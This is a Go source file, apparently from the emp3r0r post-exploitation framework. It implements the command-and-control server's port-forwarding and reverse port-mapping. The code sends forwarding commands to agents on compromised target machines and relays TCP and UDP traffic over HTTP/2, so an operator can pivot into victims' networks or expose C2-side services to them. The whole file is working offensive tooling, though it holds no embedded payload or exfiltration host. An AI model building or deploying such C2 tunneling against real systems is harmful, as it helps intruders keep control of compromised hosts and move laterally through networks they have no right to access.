/
proxy.go
469 lines (419 loc) · 11.6 KB
/
proxy.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
//go:build linux
// +build linux
package cc
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net"
"strconv"
"strings"
"time"
"github.com/google/uuid"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
"github.com/olekukonko/tablewriter"
)
// PortFwdSession holds controller interface of a port-fwd session
type PortFwdSession struct {
Protocol string // TCP or UDP
Lport string // listen_port
To string // to address
Description string // fmt.Sprintf("%s (Local) -> %s (Agent)", listenPort, to_addr)
Reverse bool // from agent to cc or cc to agent
Listener *net.UDPConn // if mapping is UDP, we need its listener
Timeout int // timeout in seconds
Agent *emp3r0r_data.AgentSystemInfo // agent who holds this port mapping session
Sh map[string]*StreamHandler // related to HTTP handler
Ctx context.Context // PortFwd context
Cancel context.CancelFunc // PortFwd cancel
}
type port_mapping struct {
Id string `json:"id"` // portfwd id
Agent string `json:"agent"` // agent tag
Reverse bool `json:"reverse"` // map (TCP) port from CC to agent
Description string `json:"description"` // details
}
func headlessListPortFwds() (err error) {
var mappings []port_mapping
for id, portmap := range PortFwds {
if portmap.Sh == nil {
portmap.Cancel()
continue
}
var permapping port_mapping
permapping.Id = id
permapping.Description = portmap.Description
permapping.Agent = portmap.Agent.Tag
permapping.Reverse = portmap.Reverse
mappings = append(mappings, permapping)
}
data, err := json.Marshal(mappings)
if err != nil {
return
}
_, err = APIConn.Write([]byte(data))
return
}
// DeletePortFwdSession delete a port mapping session by ID
func DeletePortFwdSession(cmd string) {
cmdSplit := strings.Fields(cmd)
if len(cmdSplit) != 2 {
CliPrintError("delete_port_fwd <mapping id>")
return
}
sessionID := cmdSplit[1]
PortFwdsMutex.Lock()
defer PortFwdsMutex.Unlock()
for id, session := range PortFwds {
if id == sessionID {
err := SendCmd(fmt.Sprintf("%s %s", emp3r0r_data.C2CmdDeletePortFwd, id), "", session.Agent)
if err != nil {
CliPrintWarning("Tell agent %s to delete port mapping %s: %v", session.Agent.Tag, sessionID, err)
}
session.Cancel()
delete(PortFwds, id)
}
}
}
// ListPortFwds list currently active port mappings
func ListPortFwds() {
if IsAPIEnabled {
err := headlessListPortFwds()
if err != nil {
CliPrintError("ListPortFwds: %v", err)
}
}
// build table
tdata := [][]string{}
tableString := &strings.Builder{}
table := tablewriter.NewWriter(tableString)
table.SetHeader([]string{"Local Port", "To", "Agent", "Description", "ID"})
table.SetBorder(true)
table.SetRowLine(true)
table.SetAutoWrapText(true)
table.SetAutoFormatHeaders(true)
table.SetReflowDuringAutoWrap(true)
table.SetColWidth(10)
// color
table.SetHeaderColor(tablewriter.Colors{tablewriter.Bold, tablewriter.FgHiMagentaColor},
tablewriter.Colors{tablewriter.Bold, tablewriter.FgHiCyanColor},
tablewriter.Colors{tablewriter.Bold, tablewriter.FgHiBlueColor},
tablewriter.Colors{tablewriter.Bold, tablewriter.FgHiCyanColor},
tablewriter.Colors{tablewriter.Bold, tablewriter.FgHiYellowColor})
table.SetColumnColor(tablewriter.Colors{tablewriter.FgHiMagentaColor},
tablewriter.Colors{tablewriter.FgHiCyanColor},
tablewriter.Colors{tablewriter.FgBlueColor},
tablewriter.Colors{tablewriter.FgHiCyanColor},
tablewriter.Colors{tablewriter.FgYellowColor})
for id, portmap := range PortFwds {
if portmap.Sh == nil {
portmap.Cancel()
continue
}
to := portmap.To + " (Agent) "
lport := portmap.Lport + " (CC) "
if portmap.Reverse {
to = portmap.To + " (CC) "
lport = portmap.Lport + " (Agent) "
}
tdata = append(tdata,
[]string{
lport,
to,
util.SplitLongLine(portmap.Agent.Tag, 10),
util.SplitLongLine(portmap.Description, 10),
util.SplitLongLine(id, 10)})
}
// rendor table
table.AppendBulk(tdata)
table.Render()
AdaptiveTable(tableString.String())
fmt.Printf("\n\033[0m%s\n\n", tableString.String())
}
// InitReversedPortFwd send portfwd command to agent and set up a reverse port mapping
func (pf *PortFwdSession) InitReversedPortFwd() (err error) {
toAddr := pf.To
listenPort := pf.Lport
_, e2 := strconv.Atoi(listenPort)
if !tun.ValidateIPPort(toAddr) || e2 != nil {
return fmt.Errorf("Invalid address/port: %s (to), %v (listen_port)", toAddr, e2)
}
// mark this session, save to PortFwds
fwdID := uuid.New().String()
pf.Sh = nil
if pf.Description == "" {
pf.Description = "Reverse mapping"
}
pf.Reverse = true
pf.Agent = CurrentTarget
PortFwdsMutex.Lock()
PortFwds[fwdID] = pf
PortFwdsMutex.Unlock()
// tell agent to start this mapping
cmd := fmt.Sprintf("%s %s %s reverse", emp3r0r_data.C2CmdPortFwd, listenPort, fwdID)
err = SendCmd(cmd, "", CurrentTarget)
if err != nil {
CliPrintError("SendCmd: %v", err)
return
}
return
}
// RunReversedPortFwd expose service on CC side to agent, via h2conn
// as if the service is listening on agent machine
func (pf *PortFwdSession) RunReversedPortFwd(sh *StreamHandler) (err error) {
// dial dest
conn, err := net.Dial("tcp", pf.To)
if err != nil {
CliPrintWarning("RunReversedPortFwd failed to connect to %s: %v", pf.To, err)
return
}
// clean up all goroutines
cleanup := func() {
_, _ = conn.Write([]byte("exit\n"))
conn.Close()
sh.H2x.Conn.Close()
CliPrintDebug("PortFwd conn handler (%s) finished", conn.RemoteAddr().String())
sh.H2x.Cancel() // cancel this h2 connection
}
// remember the agent
pf.Agent = CurrentTarget
pf.Reverse = true
// io.Copy
go func() {
_, err = io.Copy(sh.H2x.Conn, conn)
if err != nil {
CliPrintDebug("RunReversedPortFwd: conn -> h2: %v", err)
return
}
}()
go func() {
_, err = io.Copy(conn, sh.H2x.Conn)
if err != nil {
CliPrintDebug("RunReversedPortFwd: h2 -> conn: %v", err)
return
}
}()
// keep running until context is canceled
defer cleanup()
for sh.H2x.Ctx.Err() == nil {
time.Sleep(500 * time.Millisecond)
}
return
}
// RunPortFwd forward from ccPort to dstPort on agent, via h2conn
// as if the dstPort is listening on CC machine
func (pf *PortFwdSession) RunPortFwd() (err error) {
if pf.Protocol == "" {
pf.Protocol = "tcp"
}
handleTCPConn := func(conn net.Conn, fwdID string) {
/*
handle TCP connections to "localhost:listenPort"
*/
var (
err error
sh *StreamHandler
exist bool
)
// wait for agent to connect
for i := 0; i < 1e5; i++ {
time.Sleep(time.Millisecond)
sh, exist = pf.Sh[fwdID]
if exist {
break
}
}
if !exist {
err = errors.New("handlePerConn: timeout")
return
}
// clean up all goroutines
cleanup := func() {
_, _ = conn.Write([]byte("exit"))
conn.Close()
sh.H2x.Conn.Close()
CliPrintDebug("handlePerConn: %s finished", conn.RemoteAddr().String())
}
// io.Copy
go func() {
_, err = io.Copy(sh.H2x.Conn, conn)
if err != nil {
CliPrintDebug("handlePerConn: conn -> h2: %v", err)
return
}
}()
_, err = io.Copy(conn, sh.H2x.Conn)
if err != nil {
CliPrintDebug("handlePerConn: h2 -> conn: %v", err)
return
}
// keep running until context is canceled
defer cleanup()
}
/*
start port mapping
*/
ctx := pf.Ctx
cancel := pf.Cancel
toAddr := pf.To
listenPort := pf.Lport
// remember the agent
pf.Agent = CurrentTarget
_, e2 := strconv.Atoi(listenPort)
if !tun.ValidateIPPort(toAddr) || e2 != nil {
return fmt.Errorf("Invalid address/port: %s (to), %v (listen_port)", toAddr, e2)
}
var (
udp_listener *net.UDPConn
tcp_listener net.Listener
udp_listen_addr *net.UDPAddr
)
switch pf.Protocol {
case "tcp":
// TCP listener
tcp_listener, err = net.Listen("tcp", ":"+listenPort)
if err != nil {
return fmt.Errorf("RunPortFwd listen TCP: %v", err)
}
case "udp":
// UDP listener
udp_listen_addr, err = net.ResolveUDPAddr("udp", ":"+listenPort)
if err != nil {
return fmt.Errorf("RunPortFwd resolve UDP address: %v", err)
}
udp_listener, err = net.ListenUDP("udp", udp_listen_addr)
if err != nil {
return fmt.Errorf("RunPortFwd Listen UDP: %v", err)
}
pf.Listener = udp_listener // will be used in portFwdHandler
}
// send command to agent, with session ID
fwdID := uuid.New().String()
cmd := fmt.Sprintf("%s %s %s %s", emp3r0r_data.C2CmdPortFwd, toAddr, fwdID, pf.Protocol)
err = SendCmdToCurrentTarget(cmd, "")
if err != nil {
return fmt.Errorf("SendCmd: %v", err)
}
CliPrintDebug("RunPortFwd (%s: %s) %s: %s to %s\n%s",
pf.Description, fwdID, pf.Protocol, pf.Lport, pf.To, cmd)
// mark this session, save to PortFwds
pf.Sh = nil
if pf.Description == "" {
pf.Description = fmt.Sprintf("Agent to CC mapping (%s)", pf.Protocol)
}
PortFwdsMutex.Lock()
PortFwds[fwdID] = pf
PortFwdsMutex.Unlock()
cleanup := func() {
cancel()
if tcp_listener != nil {
tcp_listener.Close()
}
if udp_listener != nil {
udp_listener.Close()
}
PortFwdsMutex.Lock()
defer PortFwdsMutex.Unlock()
delete(PortFwds, fwdID)
CliPrintWarning("PortFwd session (%s) has finished:\n"+
"%s: %s -> %s\n%s",
pf.Description, pf.Protocol, pf.Lport, pf.To, fwdID)
}
// catch cancel event, and trigger the termination of parent function
go func() {
for ctx.Err() == nil {
time.Sleep(1 * time.Second)
}
_, _ = net.Dial(pf.Protocol, "127.0.0.1:"+listenPort)
}()
defer cleanup()
handleUDPPacket := func() {
// read UDP to this buffer
buf := make([]byte, 1024)
n, udp_client_addr, e := udp_listener.ReadFromUDP(buf)
if e != nil {
CliPrintError("UDP Listener: %v", err)
return
}
if n == 0 {
return
}
client_tag := udp_client_addr.String()
CliPrintDebug("UDP listener read %d bytes from %s", n, udp_client_addr.String())
// create port mapping for each client connection
shID := fmt.Sprintf("%s_%s-udp", fwdID, client_tag)
cmd = fmt.Sprintf("%s %s %s %s %d",
emp3r0r_data.C2CmdPortFwd, toAddr, shID, pf.Protocol, pf.Timeout)
err = SendCmd(cmd, "", pf.Agent)
if err != nil {
CliPrintError("SendCmd: %v", err)
return
}
// forward data from local UDP client to H2 connection
var (
sh *StreamHandler
exist bool
)
// wait for agent to connect
for i := 0; i < 10000; i++ {
util.TakeABlink()
sh, exist = pf.Sh[shID]
if exist {
break
}
}
if !exist {
err = fmt.Errorf("UDP forwarding: timeout waiting for agent connection: %s", udp_client_addr.String())
return
}
// forward data between UDP client and H2
// UDP client to H2
buf = buf[0:n]
n, err = sh.H2x.Conn.Write(buf)
if err != nil {
CliPrintError("Write to H2: %v", err)
}
CliPrintDebug("%s sent %d bytes to H2", udp_client_addr.String(), n)
}
// receive TCP/UDP packets from local port
// and forward them to H2
for ctx.Err() == nil {
p, exist := PortFwds[fwdID]
if !exist {
return
}
if p.Sh == nil {
time.Sleep(100 * time.Millisecond)
continue
}
switch pf.Protocol {
case "udp":
handleUDPPacket()
case "tcp":
// listen
conn, e := tcp_listener.Accept()
if e != nil {
CliPrintError("Listening on port %s: %v", p.Lport, e)
}
// mark src port
srcPort := strings.Split(conn.RemoteAddr().String(), ":")[1]
go func() {
// sub-session (streamHandler) ID
shID := fmt.Sprintf("%s_%s", fwdID, srcPort)
cmd = fmt.Sprintf("%s %s %s %s %d",
emp3r0r_data.C2CmdPortFwd, toAddr, shID, pf.Protocol, pf.Timeout)
err = SendCmd(cmd, "", pf.Agent)
if err != nil {
CliPrintError("SendCmd: %v", err)
return
}
handleTCPConn(conn, shID)
}()
}
}
return
}